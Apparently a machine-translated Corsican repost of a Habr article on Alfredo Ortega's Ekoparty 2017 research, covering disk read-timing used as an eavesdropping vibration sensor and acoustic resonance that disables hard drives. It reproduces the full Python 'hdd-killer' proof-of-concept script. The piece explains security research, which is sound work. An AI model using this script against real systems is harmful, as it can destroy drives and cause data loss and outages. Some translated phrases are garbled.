Perchè ùn pudete micca gridà à u vostru HDD

Perchè ùn pudete micca gridà à u vostru HDD

À a cunferenza di sicurezza informatica Ekoparty 2017 in Buenos Aires, u pirate argentinu Alfredo Ortega hà dimustratu un sviluppu assai interessante - un sistema per u telefuninu secretu di i locali senza usà un microfonu. Sonu arregistratu direttamente à u discu duru!

U HDD coglie principalmente soni d'alta intensità à bassa frequenza, passi è altre vibrazioni. U discorsu umanu ùn pò ancu esse ricunnisciutu, ancu se i scientisti facenu ricerche in questa direzzione (ricunniscenza vocale da vibrazioni di freccia bassa, chì sò arregistrati, per esempiu, da un giroscopiu o HDD).

U sonu hè a vibrazione di l'aria o un altru mediu. Una persona li percepisce attraversu u timpanu, chì trasmette vibrazioni à l'arechja interna. U micru hè disignatu quasi cum'è una orechja - ancu quì, e vibrazioni sò registrate da una membrana fina, chì eccita un impulsu elettricu. U discu duru, sicuru, hè ancu sottumessu à vibrazioni microscòpichi per via di i fluttuazioni in l'aria circundante. Questu hè cunnisciutu ancu da e caratteristiche tecniche di i HDD: i pruduttori di solitu indicanu u livellu massimu di vibrazione permissibile, è u discu duru stessu spessu prova di mette in un cuntainer à prova di vibrazione fattu di gomma o altru materiale insulating. Da questu hè faciule cuncludi chì i soni ponu esse registrati cù HDD. Tuttu ciò chì resta hè di capisce cumu.

Alfredo Ortega hà prupostu una versione unica di un attaccu di u canali laterale, à dì un attaccu di tempu. Stu attaccu hè basatu annantu à l'assunzione chì e diverse operazioni sò realizate nantu à u dispusitivu in i tempi diffirenti, secondu a dati di input datu. In questu casu, i "dati di input" sò e vibrazioni di u capu di lettura è u platter HDD, chì correlate cù e vibrazioni di l'ambienti, vale à dì cù u sonu. Cusì, misurà u tempu di calculu è eseguisce analisi statistiche di e dati, hè pussibule misurà e vibrazioni di a testa / platter è dunque e vibrazioni di u mediu. U più longu u ritardu in a lettura di dati, u più forte i vibrazioni HDD è, dunque, u più forte u sonu.

Cumu misurà a vibrazione di u discu duru? Moltu simplice: basta à eseguisce a chjama di u sistema read () - è registrà u tempu chì ci vole à compie. I sistemi operativi muderni permettenu di leghje u timing di e chjama di u sistema cù una precisione nanosegunda.

A rapidità di leghje l'infurmazioni da un settore dipende da a pusizione di a testa è u platter, chì correla cù vibrazioni di u casu HDD. Eccu tuttu.

L'analisi statistiche hè realizata cù una utilità simplice di Kscope. Comu dicenu, tuttu u geniu hè simplice.

Perchè ùn pudete micca gridà à u vostru HDD
Utilità Kscope (stat() syscall)

Kscope hè una piccula utilità per visualizà e piccule differenze in i tempi di esecuzione di e chjama di u sistema. Fontepublicatu in GitHub.

In un repository separatu tempu HDD ci hè una versione di l'utilità cunfigurata per un attaccu di tempu à u discu duru, vale à dì, cunfigurata per analizà a chjama di u sistema. read ().

Dimostrazione di a registrazione di u sonu cù HDD, operazione di l'utilità Kscope


Di sicuru, u discorsu ùn pò esse capitu in questu modu, ma u HDD hè abbastanza adattatu cum'è un sensor di vibrazione. Per esempiu, pudete registrà se una persona chì porta i scarpi duri o scalzi entra in una stanza cù un urdinatore (probabilmente, se l'attaccante porta sneakers morbidi o ci hè una catifa grossa nantu à u pavimentu, u HDD ùn serà micca capaci di registrà vibrazioni - questu vale a pena di verificà). L'urdinatore hè capaci di registrà vetru rottu o altri incidenti cù una forte intensità di sonu. Questu hè, u discu duru pò serve cum'è un tipu di sistema di rilevazione di intrusioni micca autorizati.

assassinu HDD

In modu, una tecnica simili pò esse usata per disattivà i discu duru. Solu quì ùn sguassate micca oscillazioni da u HDD, ma à u cuntrariu, generamu oscillazioni chì sò alimentati à u HDD. Se ghjucate u sonu da un parlante à una freccia chì risona cù a freccia HDD, u sistema disattiveghja prestu u dispositivu cù un errore I / O (u kernel Linux spegne completamente u HDD dopu à 120 seconde). U discu duru stessu pò soffre di danni irreversibili.

Perchè ùn pudete micca gridà à u vostru HDD
U kernel Linux spegne u discu duru dopu à 120 seconde di furnisce u sonu à una frequenza di risonanza attraversu u parlante di u parlante USB Edifier r19u. U parlante hè attivatu à circa un quartu di a putenza (menu di 100 mW) è si trova à 20 cm da u HDD, destinatu à a tavula per rinfurzà e vibrazioni. Frame da video cù una dimostrazione di l'assassinu HDD

Hè curiosu chì tali "attacchi" à i HDD sò accaduti à volte per accidenti in a vita di ogni ghjornu. Per esempiu, in settembre di u 2016, u centru di dati di l'ING Bank hè statu obligatu à suspende l'operazioni per 10 ore dopu un drill drill. Decine di discu duru anu fallutu per via di u sonu forte di gas inerte esse liberatu da cilindri sottu pressione alta. U sonu era assai forte (più di 130 dB), ma ùn pudete mancu gridà à i discu duru - questu aumenta u ritardu in accede à u HDD.

Dimostrazione di l'urli umani à i discu duru in un centru di dati. misurazione di latenza


Per generà u sonu risonante, Alfredo Ortega hà scrittu un script Python chjamatu hdd-assassinu (dimostrazione video).

script killer HDD Hè abbastanza chjuca, cusì pudete pubblicà in tuttu quì.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: www.habr.com

Add a comment